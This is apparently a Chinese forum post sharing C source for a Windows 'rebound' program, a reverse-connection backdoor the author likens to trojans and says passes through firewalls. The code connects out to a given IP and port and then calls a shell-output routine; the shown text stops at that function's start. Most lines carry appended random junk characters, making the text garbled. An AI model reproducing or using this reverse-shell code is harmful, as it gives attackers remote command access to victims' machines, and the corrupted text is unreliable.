这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Doe:m#aNj
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/* ============================== *EPJeblAV
Rebound port in Windows NT Cb6K!5[q]
By wind,2006/7 {wl7&25
===============================*/ lot;d3}
#include ]*X z~Ox2
#include J^=Xy(3e
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#pragma comment(lib,"wsock32.lib") OYfRtfE
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void OutputShell(); Jim5Ul
SOCKET sClient; N[I ?x5:u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uvRX{q4
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void main(int argc,char **argv) ub2B!6f a
{ ezA&cZ5
WSADATA stWsaData; g^{a;=
int nRet; A>frf[fAW
SOCKADDR_IN stSaiClient,stSaiServer; 6n\){dkZ~
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if(argc != 3) VHLt,?G
{ wkY$J\J
printf("Useage:\n\rRebound DestIP DestPort\n"); <r)5jf
return; n0)y|B#
} 8yybZ@
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WSAStartup(MAKEWORD(2,2),&stWsaData); xx G>Leml
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |9[)-C~N7
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stSaiClient.sin_family = AF_INET; 5'[yw:P-8
stSaiClient.sin_port = htons(0); S3Fj /2Q8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R ^"*ut
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Pk6_ 1LV
{ @P">4xVX{
printf("Bind Socket Failed!\n"); z`YAOhD*h4
return; _`Dz%(c
} t1p[!53(
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stSaiServer.sin_family = AF_INET; pS8`OBenA
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,nWZJ&B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q8&^E.K
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) AgWG4C=
{ (\4YBaGd
printf("Connect Error!"); F<O<=Ww
return; a
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} b~?3HY:t~K
OutputShell(); <U}25AR
} 6-\C?w
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void OutputShell() p]6/1&t